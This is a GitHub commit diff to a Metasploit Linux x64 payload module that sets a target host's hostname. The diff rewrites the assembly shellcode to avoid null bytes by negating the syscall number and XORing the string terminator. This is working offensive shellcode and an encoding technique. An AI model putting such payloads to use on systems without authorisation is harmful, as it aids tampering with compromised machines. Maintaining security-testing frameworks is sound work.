We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent dbe4226 commit b1de0c6Copy full SHA for b1de0c6
modules/payloads/singles/linux/x64/set_hostname.rb
@@ -4,7 +4,7 @@
4
##
5
6
module MetasploitModule
7
- CachedSize = 25
+ CachedSize = 33
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
@@ -38,20 +38,22 @@ def generate(_opts = {})
38
end
39
40
payload = %^
41
- push 170 ; sethostname() syscall number.
+ push 0xffffffffffffff56 ; sethostname() syscall number.
42
pop rax
43
+ neg rax
44
jmp str
45
46
end:
47
push #{length}
48
pop rsi
49
pop rdi ; rdi points to the hostname string.
50
+ xor byte [rdi+rsi], 0x41
51
syscall
52
ret ; break the loop by causing segfault.
53
54
str:
55
call end
- db "#{hostname}"
56
+ db "#{hostname}A"
57
^
58
59
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
0 commit comments